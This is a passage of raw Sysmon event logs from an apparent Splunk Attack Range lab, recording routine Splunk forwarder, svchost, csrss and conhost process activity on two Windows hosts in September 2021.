Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E7C2D41302011F08E289DA1180B45518,SHA256=30257917D2F75A2F8EB6490B14C6F494AF92A306053F9669CE9F9D17F965C7A3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-724E-613B-440B-00000000F001}2384C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-724E-613B-440B-00000000F001}2384C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.320{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-724E-613B-440B-00000000F001}2384C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:18.321{7BD73061-724E-613B-440B-00000000F001}2384C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000048456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.757{7BD73061-724F-613B-450B-00000000F001}15766752C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-724F-613B-450B-00000000F001}1576C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD36B218BB5C8B3EB2CBE060CA980716,SHA256=073631741FE4DC6DF94549B54A1123A6F5A92627259DF1D7CBDC5C7D9D7CDA79,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-724F-613B-450B-00000000F001}1576C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.523{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-724F-613B-450B-00000000F001}1576C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:19.524{7BD73061-724F-613B-450B-00000000F001}1576C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016154Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:19.103{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4B7C8AC4EED197125D40FC62C585D66,SHA256=A04ED82601F0EF114C5652880250B43CD0CF46BEC7C3BF84D396B5C310F5ADFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.820{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B2181C5B1E4F2A971BA60EF1116E923,SHA256=1DAF5E811AD7A704728CB74D9FED2BE9EACF83B7B49C9F88F5E9D778A97B2374,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.710{7BD73061-7250-613B-470B-00000000F001}70046708C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000016156Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:18.457{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50273-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016155Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:20.103{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=916F90C75ABDFBE691E334BF68DEEB44,SHA256=C9866F2645F95B14BF25D174B31A9E85FA9C182806075E925B2B158A56280F6B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=772D8A21979D87B4449879C5627EE881,SHA256=B2CC6D7CCC82EFC99F0423BBC4EF1969007F97100859DB82AF9A5DE4406A5293,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7250-613B-470B-00000000F001}7004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7250-613B-470B-00000000F001}7004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.523{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7250-613B-470B-00000000F001}7004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:20.524{7BD73061-7250-613B-470B-00000000F001}7004C:\Program 